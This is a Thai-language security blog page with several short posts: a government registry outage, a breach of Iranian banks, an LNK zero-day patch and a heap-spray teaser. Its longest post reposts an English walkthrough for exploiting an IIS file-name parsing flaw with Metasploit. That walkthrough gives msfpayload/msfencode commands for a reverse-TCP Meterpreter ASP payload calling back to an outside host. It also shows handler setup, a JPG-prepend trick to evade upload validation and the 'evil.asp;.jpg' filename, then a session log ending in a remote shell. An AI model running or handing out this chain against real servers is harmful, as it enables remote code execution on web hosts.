ระบบทะเบียนราษฏร์ล่ม ทำเอาวุ่นกันทั่วประเทศ!

Written by pspn on . Posted in Blog

ระบบทะเบียนราษฏร์ถือเป็นระบบสำคัญที่สุดระบบหนึ่งของประเทศไทยก็ว่าได้  แต่เหตุการณ์ระบบล่มครั้งนี้ทำให้เห็นความจริงของระบบ IT ประเทศไทยโดยเฉพาะราชการ  เสียเงินวางระบบหลายล้านบาท แต่ระบบที่ได้ไม่มีเสถียรภาพ ไม่มีระบบสำรอง (หรือว่ามีแต่ทำงานไม่ได้ ไม่เคยทดสอบ)

ระบบสำคัญแบบนี้ต้องมีเสถียรภาพสูง ระบบต้องมี HA (High Availability) ตัวหนึ่งตายอีกตามหนึ่งทำงานแทน  และมีระบบสำรอง  และที่สำคัญควรมีแผนรองรับกรณีฉุกเฉิน (IT Contingency Plan) 

จากเหตุการณ์ครั้งนี้ ทำให้เห็นความจริงการทำงานของคน IT ประเทศไทย ที่มีความเชื่อผิด ๆ ที่ว่า "ถ้าระบบยังทำงานได้อยู่  ก็ไม่ต้องไปทำอะไรกับมัน" พูดง่าย ๆ ไม่มีใครกล้าแตะ ระบบสำรองที่มี ไม่มีเคยทดสอบอย่างจริงจัง ว่ามันสามารถทำงานได้จริงหรือไม่  ถึงเวลาแล้วที่ IT ประเทศไทยควรพัฒนาซะที และควรให้ความสำคัญกับคำวัา " IT Assurance"

ธนาคาร 10 กว่าแห่งของอิหร่านถูกแฮก

Written by pspn on . Posted in Blog

ธนาคาร 10 กว่าแห่งของอิหร่านถูกแฮก ข้อมูลลูกค้ากว่า 3 ล้านรายถูกขโมย  แฮกเกอร์รายนี้เป็นอดีตเจ้าหน้าตำแหน่ง bank-system specialist

ก่อนหน้านี้เขาได้ตืนไปยังธนาคารแล้วว่าอาจมีช่องโหว่ของระบบและเน็ตเวิร์ค  แต่ไม่มีใครเชื่่อ ในที่สุดเพื่อยืนยันช่องโหว่นี้ เขาก็เลยดั้มข้อมูลรายการบัญชีลูกค้าธนาคารกว่า 3 ล้านรายการ ซึ่งประกอบด้วย หมายเลขบัตร และ PINs โดยนำไปโพสบนบล๊อกของเขา

หวังว่าเหตการณ์แบบนี้คงไม่เกิดขึ้นกับธนาคารของไทยนะ  และนี่ก็เป็นบทเรียนสำหรับผู้บริหารธนาคารต่าง ๆ ควรตรวจสอบให้แน่ใจก่อนที่จะประกาศอะไรออกไป และไม่ต้องกลัวจะเสียหน้าเมื่อพบว่าระบบของตนมีช่องโหว่  ดีกว่าปล่อยให้เกิดเรื่องเพราะจะเสียหายยิ่งกว่า

.lnk vulnerability ZeroDay ที่ทำให้ M$ ต้องออก Patch ฉุกเฉิน!

Written by pspn on . Posted in Blog

อ่านข่าว Microsoft ออก Patch ฉุกเฉินมาเพิ่มปิดช่องโหว่ที่เกิดขึ้นกับ LNK ไฟล์ของวินโดว์ตั้งแต่เมื่อต้นเดือนสิงหาฯ  แต่ไม่มีเวลาเอามาบันทึกไว้  วันนี้ได้โอกาสเอามาเมาส์ซะหน่อย...

Exploiting Microsoft IIS with Metasploit

Written by pspn on . Posted in Blog

ขอยกมาไว้ในนี้เลยแล้วกันครับ  เป็น Exploit ใหม่สำหรับโจมตี IIS ที่มาใน Metasploit :D

Exploiting Microsoft IIS with Metasploit

As of this afternoon, the msfencode command has the ability to emit ASP scripts that execute Metasploit payloads. This can be used to exploit the currently-unpatched file name parsing bug in Microsoft IIS. This flaw allows a user who can upload a "safe" file extension (jpg, png, etc) to upload an ASP script and force it to execute on the web server. The bug occurs when a file name is specified in the form of "evil.asp;.jpg" -- the application checks the file extension and sees "jpg", but the IIS server will stop parsing at the first ";" and sees "asp". The result is trivial code execution on any IIS server that allows users to choose the file name of their uploaded attachment.

For the following example, assume we have a web application that allows users to upload image files to the server. To complicate things, lets also assume that the application checks the file content to ensure that the uploaded file is a valid image. To exploit this, we need to generate an ASP script that drops a Meterpreter payload and configure a msfconsole instance to handle the session.

First we generate an ASP script that does a Meterpreter connect-back to the system running Metasploit:

$ msfpayload windows/meterpreter/reverse_tcp \
LHOST=1.2.3.4 LPORT=8443 R | \
msfencode -o evil.asp


Now we need to configure msfconsole to accept the incoming connection:

$ msfconsole
msf> use exploit/multi/handler
msf (handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf (handler) > set LHOST 1.2.3.4
msf (handler) > set LPORT 8443
msf (handler) > set ExitOnSession false
msf (handler) > exploit -j

To avoid the image content validator, we will prepend a valid JPG image to our ASP script:

$ cat happy.jpg evil.asp > "evil.asp;.jpg"

$ file "evil.asp;.jpg"
JPEG image data, JFIF standard 1.02

Now we upload our "evil.asp;.jpg" image to the web application. Since the extension ends in "jpg" and the contents of the file appear to be a valid JPEG, the web application accepts the file and renames it to "/images/evil.asp;.jpg"

Finally, we browse to the URL of the uploaded ASP/JPG, which will execute our payload and create a new session with the msfconsole:

[*] Starting the payload handler...
[*] Started reverse handler on port 8443
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.xxx:8443 -> 66.234.xx.xx:1186)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 2668 created.
Channel 1 created.
wMicrosoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>whoami

nt authority\network service

"Heap Spray" เทคนิคในการ Exploit ที่กำลังกลับมาได้รับความนิยม

Written by pspn on . Posted in Blog

ตอนนี้การโจมตีผ่านทาง Client (Client Site Attact) กำลังเป็นที่ได้รับความนิยม  เราคงได้ข่าวช่องโหว่ใหม่ของ Web Browser ออกมาอยู่เนืองๆ ช่วงนี้   ไม่จำกัดเฉพาะ IE เท่านั้น Firefox ก็โดนกะเขาด้วย วันนี้เลยอยากเอาเรื่องนี้มาเล่าให้ฟัง